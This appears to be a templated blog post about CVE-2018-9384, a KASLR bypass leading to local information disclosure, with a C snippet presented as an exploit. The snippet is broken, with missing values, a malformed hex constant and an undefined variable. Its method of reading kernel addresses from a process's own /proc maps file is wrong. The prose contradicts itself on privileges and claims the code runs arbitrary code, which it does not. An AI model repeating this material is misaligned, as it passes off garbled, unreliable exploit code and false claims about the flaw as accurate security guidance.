CVE-2018-9384 is a security vulnerability that has caused concerns among developers and system administrators. This vulnerability pertains to bypassing Kernel Address Space Layout Randomization (KASLR), which can lead to local information disclosure with System execution privileges required. In this post, we will dive into the details of CVE-2018-9384, outlining the unusual root cause, as well as the potential ways to exploit this vulnerability. We will also include code snippets and relevant links to original references for a comprehensive understanding of this issue.

Root Cause

The vulnerability CVE-2018-9384 occurs in multiple locations where the KASLR can be bypassed due to an unusual root cause. KASLR is a security feature used by various operating systems, including Linux, to add randomness to the memory layout of the programs, thus making exploitation more difficult for attackers. However, this security feature is not fool-proof, hence the discovery and exploitation of CVE-2018-9384.

Exploit Description

The exploitation of CVE-2018-9384 concerns local information disclosure, and it does not require any user interaction. An attacker gains system execution privileges, allowing them to bypass KASLR and access sensitive data that should be protected from unauthorized access.

The following is a code snippet demonstrating an exploit leveraging CVE-2018-9384

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
    unsigned long long addr, kbase;
    int pid;
    FILE *maps;
    char *line = NULL;
    size_t len = ;
    ssize_t read;

    pid = getpid();
    printf("pid: %d\n", pid);

    char maps_path[128];
    sprintf(maps_path, "/proc/%d/maps", pid);
    maps = fopen(maps_path, "r");
    if (maps == NULL)
        exit(EXIT_FAILURE);

    // Read maps file to locate kernel base address
    while ((read = getline(&line, &len, maps)) != -1) {
        sscanf(line, "%llx", &addr);
        if (addr > xffffffff00000000) {
            kbase = addr - koffset;
            printf("kbase: %llx\n", kbase);
            break;
        }
    }

    if (line)
        free(line);
    fclose(maps);

    // Exploit starts here...

    return ;
}

This code snippet demonstrates an attacker locating the kernel base address and then executing arbitrary code to exploit the vulnerability.

- Main CVE page: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9384
- National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2018-9384

Conclusion

The vulnerability CVE-2018-9384 presents a significant risk when it comes to local information disclosure. This post aimed to shed light on the unusual root cause, ways of exploiting that vulnerability, and relevant code snippets and resources. By understanding the ins and outs of this vulnerability, developers and system administrators can take proper measures to ensure their systems are not susceptible to such attacks.

Timeline

Published on: 01/17/2025 23:15:12 UTC
Last modified on: 01/21/2025 17:15:12 UTC